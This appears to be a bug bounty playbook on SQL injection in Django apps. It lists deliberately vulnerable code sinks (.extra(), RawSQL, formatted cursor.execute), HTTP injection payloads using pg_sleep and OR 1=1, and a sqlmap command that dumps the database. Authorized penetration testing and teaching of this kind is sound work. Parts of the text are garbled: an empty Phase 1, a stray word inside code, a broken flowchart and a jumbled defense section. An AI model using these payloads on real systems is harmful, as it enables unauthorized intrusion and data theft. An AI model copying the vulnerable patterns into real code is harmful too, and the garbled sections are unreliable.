Django SQL Injection

When to Use

• When auditing or penetration testing a web application built on the Django framework (often identifiable by specific session cookies, admin panels, or error pages).
• To exploit areas where developers have strayed from the safe, built-in ORM features and opted for raw SQL execution or complex, unsafe query annotations.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Understanding Django ORM Limitations

# Concept: ```

### Phase 2: Identifying Sinks (Code Review / Black Box)

```python
# Sink 1: The `.extra()` method VULNERABLE tastefully order_by = request.GET.get('order_by')
users = User.objects.extra(order_by=[order_by])

# Sink 2: RawSQL VULNERABLE from django.db.models.expressions import RawSQL
search = request.GET.get('search')
products = Product.objects.annotate(val=RawSQL(f"select count(*) from app_product where name = '{search}'", []))

# Sink 3: from django.db import connection
def custom_query(request):
    user_input = request.GET.get('username')
    with connection.cursor() as cursor:
        cursor.execute("SELECT * FROM users WHERE username = '%s'" % user_input) # VULNERABLE ```

### Phase 3: Exploitation

```http
# GET /products?order_by=-id%3B%20SELECT%20pg_sleep(10)-- HTTP/1.1
Host: django-app.local

# GET /search?search=' OR 1=1; SELECT pg_sleep(5);-- HTTP/1.1

Phase 4: Data Exfiltration (Time-Based)

# sqlmap -u "http://target.com/products?order_by=id" -p order_by --technique=T --dbms=postgresql --dump

Decision Point 🔀

flowchart TD
    A[Analyze Request ] --> B{ORMs Bypsassed ]}
    B -->|Yes| C[Test Error ]
    B -->|No| D[Test Raw ]
    C --> E[Exploit ]

🔵 Blue Team Detection & Defense

• Strict ORM Usage: Input Validation: Key Concepts | Concept | Description | |---------|-------------| | .extra() | |

Output Format

Django Sql Injection — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• Django Documentation: Security in Django - SQL Injection
• PortSwigger: SQL Injection